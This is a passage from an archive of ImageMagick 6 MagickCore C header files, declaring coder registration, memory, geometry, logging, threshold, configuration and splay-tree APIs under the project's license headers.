#define O_BINARY 0x00 #endif #if !defined(PATH_MAX) #define PATH_MAX 4096 #endif #if defined(MAGICKCORE_LTDL_DELEGATE) || (defined(MAGICKCORE_WINDOWS_SUPPORT) && defined(_DLL) && !defined(_LIB)) # define MAGICKCORE_MODULES_SUPPORT #endif #if defined(_MAGICKMOD_) # undef MAGICKCORE_BUILD_MODULES # define MAGICKCORE_BUILD_MODULES #endif /* Magick defines. */ #define MagickMaxRecursionDepth 600 #define Swap(x,y) ((x)^=(y), (y)^=(x), (x)^=(y)) #if defined(_MSC_VER) # define DisableMSCWarning(nr) __pragma(warning(push)) \ __pragma(warning(disable:nr)) # define RestoreMSCWarning __pragma(warning(pop)) #else # define DisableMSCWarning(nr) # define RestoreMSCWarning #endif #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/static.h 0000644 00000024014 15246445046 0011753 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore static coder registration methods. */ #ifndef MAGICKCORE_STATIC_H #define MAGICKCORE_STATIC_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport MagickBooleanType InvokeStaticImageFilter(const char *,Image **,const int,const char **, ExceptionInfo *), RegisterStaticModule(const char *,ExceptionInfo *exception), UnregisterStaticModule(const char *); extern ModuleExport size_t RegisterAAIImage(void), RegisterARTImage(void), RegisterAVIImage(void), RegisterAVSImage(void), RegisterBIEImage(void), RegisterBGRImage(void), RegisterBMPImage(void), RegisterBRAILLEImage(void), RegisterCALSImage(void), RegisterCAPTIONImage(void), RegisterCINImage(void), RegisterCIPImage(void), RegisterCLIPImage(void), RegisterCLIPBOARDImage(void), RegisterCMYKImage(void), RegisterCUTImage(void), RegisterDCMImage(void), RegisterDCXImage(void), RegisterDDSImage(void), RegisterDEBUGImage(void), RegisterDIBImage(void), RegisterDJVUImage(void), RegisterDNGImage(void), RegisterDOTImage(void), RegisterDPSImage(void), RegisterDPXImage(void), RegisterEMFImage(void), RegisterEPDFImage(void), RegisterEPIImage(void), RegisterEPSImage(void), RegisterEPS2Image(void), RegisterEPSFImage(void), RegisterEPSIImage(void), RegisterEPTImage(void), RegisterEXRImage(void), RegisterFAXImage(void), RegisterFITSImage(void), RegisterFLIFImage(void), RegisterFPXImage(void), RegisterG3Image(void), RegisterGIFImage(void), RegisterGIF87Image(void), RegisterGRADIENTImage(void), RegisterGRANITEImage(void), RegisterGRAYImage(void), RegisterHALDImage(void), RegisterHDRImage(void), RegisterHEICImage(void), RegisterHImage(void), RegisterHISTOGRAMImage(void), RegisterHRZImage(void), RegisterHTMLImage(void), RegisterICBImage(void), RegisterICONImage(void), RegisterINFOImage(void), RegisterINLINEImage(void), RegisterIPLImage(void), RegisterJBGImage(void), RegisterJBIGImage(void), RegisterJNXImage(void), RegisterJPEGImage(void), RegisterJP2Image(void), RegisterJSONImage(void), RegisterLABELImage(void), RegisterMACImage(void), RegisterMAGICKImage(void), RegisterMAPImage(void), RegisterMASKImage(void), RegisterMATImage(void), RegisterMATTEImage(void), RegisterMETAImage(void), RegisterMIFFImage(void), RegisterMNGImage(void), RegisterMONOImage(void), RegisterMPCImage(void), RegisterMPRImage(void), RegisterMSLImage(void), RegisterMTVImage(void), RegisterMVGImage(void), RegisterNETSCAPEImage(void), RegisterNULLImage(void), RegisterP7Image(void), RegisterPBMImage(void), RegisterOTBImage(void), RegisterPALMImage(void), RegisterPANGOImage(void), RegisterPATTERNImage(void), RegisterPCDImage(void), RegisterPCDSImage(void), RegisterPCLImage(void), RegisterPCTImage(void), RegisterPCXImage(void), RegisterPDBImage(void), RegisterPDFImage(void), RegisterPESImage(void), RegisterPGXImage(void), RegisterPICImage(void), RegisterPICTImage(void), RegisterPIXImage(void), RegisterPGMImage(void), RegisterPLASMAImage(void), RegisterPMImage(void), RegisterPNGImage(void), RegisterPNMImage(void), RegisterPPMImage(void), RegisterPREVIEWImage(void), RegisterPSImage(void), RegisterPS2Image(void), RegisterPS3Image(void), RegisterPSDImage(void), RegisterPTIFImage(void), RegisterPWPImage(void), RegisterRASImage(void), RegisterRAWImage(void), RegisterRGBImage(void), RegisterRGBAImage(void), RegisterRGFImage(void), RegisterRLAImage(void), RegisterRLEImage(void), RegisterSCRImage(void), RegisterSCREENSHOTImage(void), RegisterSCTImage(void), RegisterSFWImage(void), RegisterSGIImage(void), RegisterSHTMLImage(void), RegisterSIXELImage(void), RegisterSTEGANOImage(void), RegisterSUNImage(void), RegisterSVGImage(void), RegisterTEXTImage(void), RegisterTGAImage(void), RegisterTHUMBNAILImage(void), RegisterTIFImage(void), RegisterTIFFImage(void), RegisterTILEImage(void), RegisterTIMImage(void), RegisterTTFImage(void), RegisterTXTImage(void), RegisterUILImage(void), RegisterURLImage(void), RegisterUYVYImage(void), RegisterVDAImage(void), RegisterVICARImage(void), RegisterVIDImage(void), RegisterVIDEOImage(void), RegisterVIFFImage(void), RegisterVIPSImage(void), RegisterVSTImage(void), RegisterWBMPImage(void), RegisterWEBPImage(void), RegisterWMFImage(void), RegisterWPGImage(void), RegisterXImage(void), RegisterXBMImage(void), RegisterXCImage(void), RegisterXCFImage(void), RegisterXPMImage(void), RegisterXPSImage(void), RegisterXVImage(void), RegisterXWDImage(void), RegisterYCBCRImage(void), RegisterYUVImage(void); extern ModuleExport void UnregisterAAIImage(void), UnregisterARTImage(void), UnregisterAVIImage(void), UnregisterAVSImage(void), UnregisterBIEImage(void), UnregisterBGRImage(void), UnregisterBMPImage(void), UnregisterBRAILLEImage(void), UnregisterCALSImage(void), UnregisterCAPTIONImage(void), UnregisterCINImage(void), UnregisterCIPImage(void), UnregisterCLIPImage(void), UnregisterCLIPBOARDImage(void), UnregisterCMYKImage(void), UnregisterCUTImage(void), UnregisterDCMImage(void), UnregisterDCXImage(void), UnregisterDDSImage(void), UnregisterDEBUGImage(void), UnregisterDIBImage(void), UnregisterDJVUImage(void), UnregisterDNGImage(void), UnregisterDOTImage(void), UnregisterDPSImage(void), UnregisterDPXImage(void), UnregisterEMFImage(void), UnregisterEPDFImage(void), UnregisterEPIImage(void), UnregisterEPSImage(void), UnregisterEPS2Image(void), UnregisterEPSFImage(void), UnregisterEPSIImage(void), UnregisterEPTImage(void), UnregisterEXRImage(void), UnregisterFAXImage(void), UnregisterFITSImage(void), UnregisterFLIFImage(void), UnregisterFPXImage(void), UnregisterG3Image(void), UnregisterGIFImage(void), UnregisterGIF87Image(void), UnregisterGRADIENTImage(void), UnregisterGRANITEImage(void), UnregisterGRAYImage(void), UnregisterHALDImage(void), UnregisterHDRImage(void), UnregisterHEICImage(void), UnregisterHImage(void), UnregisterHISTOGRAMImage(void), UnregisterHRZImage(void), UnregisterHTMLImage(void), UnregisterICBImage(void), UnregisterICONImage(void), UnregisterINFOImage(void), UnregisterINLINEImage(void), UnregisterIPLImage(void), UnregisterJBGImage(void), UnregisterJBIGImage(void), UnregisterJNXImage(void), UnregisterJPEGImage(void), UnregisterJP2Image(void), UnregisterJSONImage(void), UnregisterLABELImage(void), UnregisterLOCALEImage(void), UnregisterMACImage(void), UnregisterMAGICKImage(void), UnregisterMAPImage(void), UnregisterMASKImage(void), UnregisterMATImage(void), UnregisterMATTEImage(void), UnregisterMETAImage(void), UnregisterMIFFImage(void), UnregisterMNGImage(void), UnregisterMONOImage(void), UnregisterMPCImage(void), UnregisterMPRImage(void), UnregisterMSLImage(void), UnregisterMTVImage(void), UnregisterMVGImage(void), UnregisterNETSCAPEImage(void), UnregisterNULLImage(void), UnregisterP7Image(void), UnregisterPBMImage(void), UnregisterOTBImage(void), UnregisterPALMImage(void), UnregisterPANGOImage(void), UnregisterPATTERNImage(void), UnregisterPCDImage(void), UnregisterPCDSImage(void), UnregisterPCLImage(void), UnregisterPCTImage(void), UnregisterPCXImage(void), UnregisterPDBImage(void), UnregisterPDFImage(void), UnregisterPESImage(void), UnregisterPGXImage(void), UnregisterPICImage(void), UnregisterPICTImage(void), UnregisterPIXImage(void), UnregisterPLASMAImage(void), UnregisterPGMImage(void), UnregisterPMImage(void), UnregisterPNGImage(void), UnregisterPNMImage(void), UnregisterPPMImage(void), UnregisterPREVIEWImage(void), UnregisterPSImage(void), UnregisterPS2Image(void), UnregisterPS3Image(void), UnregisterPSDImage(void), UnregisterPTIFImage(void), UnregisterPWPImage(void), UnregisterRASImage(void), UnregisterRAWImage(void), UnregisterRGBImage(void), UnregisterRGBAImage(void), UnregisterRGFImage(void), UnregisterRLAImage(void), UnregisterRLEImage(void), UnregisterSCRImage(void), UnregisterSCREENSHOTImage(void), UnregisterSCTImage(void), UnregisterSFWImage(void), UnregisterSGIImage(void), UnregisterSHTMLImage(void), UnregisterSIXELImage(void), UnregisterSTEGANOImage(void), UnregisterSUNImage(void), UnregisterSVGImage(void), UnregisterTEXTImage(void), UnregisterTGAImage(void), UnregisterTHUMBNAILImage(void), UnregisterTIFImage(void), UnregisterTIFFImage(void), UnregisterTILEImage(void), UnregisterTIMImage(void), UnregisterTTFImage(void), UnregisterTXTImage(void), UnregisterUILImage(void), UnregisterURLImage(void), UnregisterUYVYImage(void), UnregisterVDAImage(void), UnregisterVICARImage(void), UnregisterVIDImage(void), UnregisterVIDEOImage(void), UnregisterVIFFImage(void), UnregisterVIPSImage(void), UnregisterVSTImage(void), UnregisterWBMPImage(void), UnregisterWEBPImage(void), UnregisterWMFImage(void), UnregisterWPGImage(void), UnregisterXImage(void), UnregisterXBMImage(void), UnregisterXCImage(void), UnregisterXCFImage(void), UnregisterXPMImage(void), UnregisterXPSImage(void), UnregisterXVImage(void), UnregisterXWDImage(void), UnregisterYCBCRImage(void), UnregisterYUVImage(void); extern MagickExport void RegisterStaticModules(void), UnregisterStaticModules(void); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/memory_.h 0000644 00000006325 15246445046 0012140 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore memory methods. */ #ifndef MAGICKCORE_MEMORY_H #define MAGICKCORE_MEMORY_H #include <errno.h> #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _MemoryInfo MemoryInfo; typedef void *(*AcquireMemoryHandler)(size_t) magick_alloc_size(1), (*DestroyMemoryHandler)(void *), *(*ResizeMemoryHandler)(void *,size_t) magick_alloc_size(2), *(*AcquireAlignedMemoryHandler)(const size_t,const size_t), (*RelinquishAlignedMemoryHandler)(void *); extern MagickExport MemoryInfo *AcquireVirtualMemory(const size_t,const size_t) magick_alloc_sizes(1,2), *RelinquishVirtualMemory(MemoryInfo *); extern MagickExport size_t GetMaxMemoryRequest(void); extern MagickExport void *AcquireAlignedMemory(const size_t,const size_t) magick_attribute((__malloc__)) magick_alloc_sizes(1,2), *AcquireMagickMemory(const size_t) magick_attribute((__malloc__)) magick_alloc_size(1), *AcquireCriticalMemory(const size_t), *AcquireQuantumMemory(const size_t,const size_t) magick_attribute((__malloc__)) magick_alloc_sizes(1,2), *CopyMagickMemory(void *magick_restrict,const void *magick_restrict, const size_t) magick_attribute((__nonnull__)), DestroyMagickMemory(void), GetMagickMemoryMethods(AcquireMemoryHandler *,ResizeMemoryHandler *, DestroyMemoryHandler *), *GetVirtualMemoryBlob(const MemoryInfo *), *RelinquishAlignedMemory(void *), *RelinquishMagickMemory(void *), *ResetMagickMemory(void *,int,const size_t), *ResizeMagickMemory(void *,const size_t) magick_attribute((__malloc__)) magick_alloc_size(2), *ResizeQuantumMemory(void *,const size_t,const size_t) magick_attribute((__malloc__)) magick_alloc_sizes(2,3), SetMagickAlignedMemoryMethods(AcquireAlignedMemoryHandler, RelinquishAlignedMemoryHandler), SetMagickMemoryMethods(AcquireMemoryHandler,ResizeMemoryHandler, DestroyMemoryHandler); static inline MagickBooleanType HeapOverflowSanityCheck( const size_t count,const size_t quantum) { if ((count == 0) || (quantum == 0)) return(MagickTrue); if (quantum != ((count*quantum)/count)) { errno=ENOMEM; return(MagickTrue); } return(MagickFalse); } static inline MagickBooleanType HeapOverflowSanityCheckGetSize( const size_t count,const size_t quantum,size_t *const extent) { size_t length; if ((count == 0) || (quantum == 0)) return(MagickTrue); length=count*quantum; if (quantum != (length/count)) { errno=ENOMEM; return(MagickTrue); } if (extent != (size_t *) NULL) *extent=length; return(MagickFalse); } #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/visual-effects.h 0000644 00000005437 15246445046 0013414 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image visual effects methods. */ #ifndef MAGICKCORE_VISUAL_EFFECTS_H #define MAGICKCORE_VISUAL_EFFECTS_H #include "magick/draw.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedNoise, UniformNoise, GaussianNoise, MultiplicativeGaussianNoise, ImpulseNoise, LaplacianNoise, PoissonNoise, RandomNoise } NoiseType; extern MagickExport Image *AddNoiseImage(const Image *,const NoiseType,ExceptionInfo *), *AddNoiseImageChannel(const Image *,const ChannelType,const NoiseType, ExceptionInfo *), *BlueShiftImage(const Image *,const double,ExceptionInfo *), *CharcoalImage(const Image *,const double,const double,ExceptionInfo *), *ColorizeImage(const Image *,const char *,const PixelPacket,ExceptionInfo *), *ColorMatrixImage(const Image *,const KernelInfo *kernel,ExceptionInfo *), *ImplodeImage(const Image *,const double,ExceptionInfo *), *MorphImages(const Image *,const size_t,ExceptionInfo *), *PolaroidImage(const Image *,const DrawInfo *,const double,ExceptionInfo *), *SepiaToneImage(const Image *,const double,ExceptionInfo *), *ShadowImage(const Image *,const double,const double,const ssize_t, const ssize_t,ExceptionInfo *), *SketchImage(const Image *,const double,const double,const double, ExceptionInfo *), *SteganoImage(const Image *,const Image *,ExceptionInfo *), *StereoImage(const Image *,const Image *,ExceptionInfo *), *StereoAnaglyphImage(const Image *,const Image *,const ssize_t,const ssize_t, ExceptionInfo *), *SwirlImage(const Image *,double,ExceptionInfo *), *TintImage(const Image *,const char *,const PixelPacket,ExceptionInfo *), *VignetteImage(const Image *,const double,const double,const ssize_t, const ssize_t,ExceptionInfo *), *WaveImage(const Image *,const double,const double,ExceptionInfo *), *WaveletDenoiseImage(const Image *,const double,const double,ExceptionInfo *); extern MagickExport MagickBooleanType PlasmaImage(Image *,const SegmentInfo *,size_t,size_t), SolarizeImage(Image *,const double), SolarizeImageChannel(Image *,const ChannelType,const double,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/geometry.h 0000644 00000010004 15246445046 0012311 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image geometry methods. */ #ifndef MAGICKCORE_GEOMETRY_H #define MAGICKCORE_GEOMETRY_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { #undef NoValue NoValue = 0x0000, #undef XValue XValue = 0x0001, XiValue = 0x0001, #undef YValue YValue = 0x0002, PsiValue = 0x0002, #undef WidthValue WidthValue = 0x0004, RhoValue = 0x0004, #undef HeightValue HeightValue = 0x0008, SigmaValue = 0x0008, ChiValue = 0x0010, XiNegative = 0x0020, #undef XNegative XNegative = 0x0020, PsiNegative = 0x0040, #undef YNegative YNegative = 0x0040, ChiNegative = 0x0080, PercentValue = 0x1000, /* '%' percentage of something */ AspectValue = 0x2000, /* '!' resize no-aspect - special use flag */ NormalizeValue = 0x2000, /* '!' ScaleKernelValue() in morphology.c */ LessValue = 0x4000, /* '<' resize smaller - special use flag */ GreaterValue = 0x8000, /* '>' resize larger - spacial use flag */ MinimumValue = 0x10000, /* '^' special handling needed */ CorrelateNormalizeValue = 0x10000, /* '^' see ScaleKernelValue() */ AreaValue = 0x20000, /* '@' resize to area - special use flag */ DecimalValue = 0x40000, /* '.' floating point numbers found */ SeparatorValue = 0x80000, /* 'x' separator found */ AspectRatioValue = 0x100000, /* '~' special handling needed */ AlphaValue = 0x200000, /* '/' alpha */ #undef AllValues AllValues = 0x7fffffff } GeometryFlags; #if defined(ForgetGravity) #undef ForgetGravity #undef NorthWestGravity #undef NorthGravity #undef NorthEastGravity #undef WestGravity #undef CenterGravity #undef EastGravity #undef SouthWestGravity #undef SouthGravity #undef SouthEastGravity #undef StaticGravity #endif typedef enum { UndefinedGravity, ForgetGravity = 0, NorthWestGravity = 1, NorthGravity = 2, NorthEastGravity = 3, WestGravity = 4, CenterGravity = 5, EastGravity = 6, SouthWestGravity = 7, SouthGravity = 8, SouthEastGravity = 9, StaticGravity = 10 } GravityType; typedef struct _AffineMatrix { double sx, rx, ry, sy, tx, ty; } AffineMatrix; typedef struct _GeometryInfo { double rho, sigma, xi, psi, chi; } GeometryInfo; typedef struct _OffsetInfo { ssize_t x, y; } OffsetInfo; typedef struct _RectangleInfo { size_t width, height; ssize_t x, y; } RectangleInfo; extern MagickExport char *GetPageGeometry(const char *); extern MagickExport MagickBooleanType IsGeometry(const char *), IsSceneGeometry(const char *,const MagickBooleanType); extern MagickExport MagickStatusType GetGeometry(const char *,ssize_t *,ssize_t *,size_t *,size_t *), ParseAbsoluteGeometry(const char *,RectangleInfo *), ParseAffineGeometry(const char *,AffineMatrix *,ExceptionInfo *), ParseGeometry(const char *,GeometryInfo *), ParseGravityGeometry(const Image *,const char *,RectangleInfo *, ExceptionInfo *), ParseMetaGeometry(const char *,ssize_t *,ssize_t *,size_t *,size_t *), ParsePageGeometry(const Image *,const char *,RectangleInfo *,ExceptionInfo *), ParseRegionGeometry(const Image *,const char *,RectangleInfo *, ExceptionInfo *); extern MagickExport void GravityAdjustGeometry(const size_t,const size_t,const GravityType, RectangleInfo *), SetGeometry(const Image *,RectangleInfo *), SetGeometryInfo(GeometryInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/artifact.h 0000644 00000002541 15246445046 0012262 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore artifact methods. */ #ifndef MAGICKCORE_ARTIFACT_H #define MAGICKCORE_ARTIFACT_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport char *GetNextImageArtifact(const Image *), *RemoveImageArtifact(Image *,const char *); extern MagickExport const char *GetImageArtifact(const Image *,const char *); extern MagickExport MagickBooleanType CloneImageArtifacts(Image *,const Image *), DefineImageArtifact(Image *,const char *), DeleteImageArtifact(Image *,const char *), SetImageArtifact(Image *,const char *,const char *); extern MagickExport void DestroyImageArtifacts(Image *), ResetImageArtifactIterator(const Image *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/distribute-cache.h 0000644 00000001734 15246445046 0013707 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore distributed cache methods. */ #ifndef MAGICKCORE_DISTRIBUTE_CACHE_H #define MAGICKCORE_DISTRIBUTE_CACHE_H #include "magick/exception.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport void DistributePixelCacheServer(const int,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/log.h 0000644 00000005303 15246445046 0011245 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore log methods. */ #ifndef MAGICKCORE_LOG_H #define MAGICKCORE_LOG_H #include <stdarg.h> #include "magick/exception.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #if !defined(GetMagickModule) # define GetMagickModule() __FILE__,__func__,(unsigned long) __LINE__ #endif #define MagickLogFilename "log.xml" typedef enum { UndefinedEvents, NoEvents = 0x00000, TraceEvent = 0x00001, AnnotateEvent = 0x00002, BlobEvent = 0x00004, CacheEvent = 0x00008, CoderEvent = 0x00010, ConfigureEvent = 0x00020, DeprecateEvent = 0x00040, DrawEvent = 0x00080, ExceptionEvent = 0x00100, ImageEvent = 0x00200, LocaleEvent = 0x00400, ModuleEvent = 0x00800, PolicyEvent = 0x01000, ResourceEvent = 0x02000, TransformEvent = 0x04000, UserEvent = 0x09000, WandEvent = 0x10000, X11Event = 0x20000, AccelerateEvent = 0x40000, AllEvents = 0x7fffffff } LogEventType; typedef struct _LogInfo LogInfo; typedef void (*MagickLogMethod)(const LogEventType,const char *); extern const MagickExport LogInfo **GetLogInfoList(const char *,size_t *,ExceptionInfo *); extern MagickExport char **GetLogList(const char *,size_t *,ExceptionInfo *); extern MagickExport char *GetLogName(void) magick_attribute((__pure__)), *SetLogName(const char *); extern MagickExport LogEventType GetLogEventMask(void) magick_attribute((__pure__)); extern MagickExport LogEventType SetLogEventMask(const char *); extern MagickExport MagickBooleanType IsEventLogging(void) magick_attribute((__pure__)), ListLogInfo(FILE *,ExceptionInfo *), LogComponentGenesis(void), LogMagickEvent(const LogEventType,const char *,const char *,const size_t, const char *,...) magick_attribute((__format__ (__printf__,5,6))), LogMagickEventList(const LogEventType,const char *,const char *,const size_t, const char *,va_list) magick_attribute((__format__ (__printf__,5,0))); extern MagickExport void CloseMagickLog(void), LogComponentTerminus(void), SetLogFormat(const char *), SetLogMethod(MagickLogMethod); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/threshold.h 0000644 00000004607 15246445046 0012466 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image threshold methods. */ #ifndef MAGICKCORE_THRESHOLD_H #define MAGICKCORE_THRESHOLD_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedThresholdMethod, KapurThresholdMethod, OTSUThresholdMethod, TriangleThresholdMethod } AutoThresholdMethod; typedef struct _ThresholdMap ThresholdMap; extern MagickExport Image *AdaptiveThresholdImage(const Image *,const size_t,const size_t,const ssize_t, ExceptionInfo *); extern MagickExport ThresholdMap *DestroyThresholdMap(ThresholdMap *), *GetThresholdMap(const char *,ExceptionInfo *); extern MagickExport MagickBooleanType AutoThresholdImage(Image *,const AutoThresholdMethod,ExceptionInfo *), BilevelImage(Image *,const double), BilevelImageChannel(Image *,const ChannelType,const double), BlackThresholdImage(Image *,const char *), BlackThresholdImageChannel(Image *,const ChannelType,const char *, ExceptionInfo *), ClampImage(Image *), ClampImageChannel(Image *,const ChannelType), ListThresholdMaps(FILE *,ExceptionInfo *), OrderedDitherImage(Image *), /* deprecated */ OrderedDitherImageChannel(Image *,const ChannelType,ExceptionInfo *), OrderedPosterizeImage(Image *,const char *,ExceptionInfo *), OrderedPosterizeImageChannel(Image *,const ChannelType,const char *, ExceptionInfo *), PerceptibleImage(Image *,const double), PerceptibleImageChannel(Image *,const ChannelType,const double), RandomThresholdImage(Image *,const char *,ExceptionInfo *), RandomThresholdImageChannel(Image *,const ChannelType,const char *, ExceptionInfo *), WhiteThresholdImage(Image *,const char *), WhiteThresholdImageChannel(Image *,const ChannelType,const char *, ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/configure.h 0000644 00000003753 15246445046 0012454 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore configure methods. */ #ifndef MAGICKCORE_CONFIGURE_H #define MAGICKCORE_CONFIGURE_H #include "magick/hashmap.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _ConfigureInfo { char *path, *name, *value; MagickBooleanType exempt, stealth; struct _ConfigureInfo *previous, *next; /* deprecated, use GetConfigureInfoList() */ size_t signature; } ConfigureInfo; extern MagickExport char **GetConfigureList(const char *,size_t *,ExceptionInfo *), *GetConfigureOption(const char *); extern MagickExport const char *GetConfigureValue(const ConfigureInfo *); extern MagickExport const ConfigureInfo *GetConfigureInfo(const char *,ExceptionInfo *), **GetConfigureInfoList(const char *,size_t *,ExceptionInfo *); extern MagickExport LinkedListInfo *DestroyConfigureOptions(LinkedListInfo *), *GetConfigurePaths(const char *,ExceptionInfo *), *GetConfigureOptions(const char *,ExceptionInfo *); extern MagickExport MagickBooleanType ConfigureComponentGenesis(void), ListConfigureInfo(FILE *,ExceptionInfo *); extern MagickExport void ConfigureComponentTerminus(void); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/splay-tree.h 0000644 00000003743 15246445046 0012557 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore splay-tree methods. */ #ifndef MAGICKCORE_SPLAY_H #define MAGICKCORE_SPLAY_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _SplayTreeInfo SplayTreeInfo; extern MagickExport MagickBooleanType AddValueToSplayTree(SplayTreeInfo *,const void *,const void *), DeleteNodeByValueFromSplayTree(SplayTreeInfo *,const void *), DeleteNodeFromSplayTree(SplayTreeInfo *,const void *); extern MagickExport const void *GetNextKeyInSplayTree(SplayTreeInfo *), *GetNextValueInSplayTree(SplayTreeInfo *), *GetRootValueFromSplayTree(SplayTreeInfo *), *GetValueFromSplayTree(SplayTreeInfo *,const void *); extern MagickExport int CompareSplayTreeString(const void *,const void *), CompareSplayTreeStringInfo(const void *,const void *); extern MagickExport SplayTreeInfo *CloneSplayTree(SplayTreeInfo *,void *(*)(void *),void *(*)(void *)), *DestroySplayTree(SplayTreeInfo *), *NewSplayTree(int (*)(const void *,const void *),void *(*)(void *), void *(*)(void *)); extern MagickExport size_t GetNumberOfNodesInSplayTree(const SplayTreeInfo *); extern MagickExport void *RemoveNodeByValueFromSplayTree(SplayTreeInfo *,const void *), *RemoveNodeFromSplayTree(SplayTreeInfo *,const void *), ResetSplayTree(SplayTreeInfo *), ResetSplayTreeIterator(SplayTreeInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/feature.h 0000644 00000003322 15246445046 0012116 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore feature methods. */ #ifndef MAGICKCORE_FEATURE_H #define MAGICKCORE_FEATURE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif /* Haralick texture features. */ typedef struct _ChannelFeatures { double angular_second_moment[4], contrast[4], correlation[4], variance_sum_of_squares[4], inverse_difference_moment[4], sum_average[4], sum_variance[4], sum_entropy[4], entropy[4], difference_variance[4], difference_entropy[4], measure_of_correlation_1[4], measure_of_correlation_2[4], maximum_correlation_coefficient[4]; } ChannelFeatures; extern MagickExport 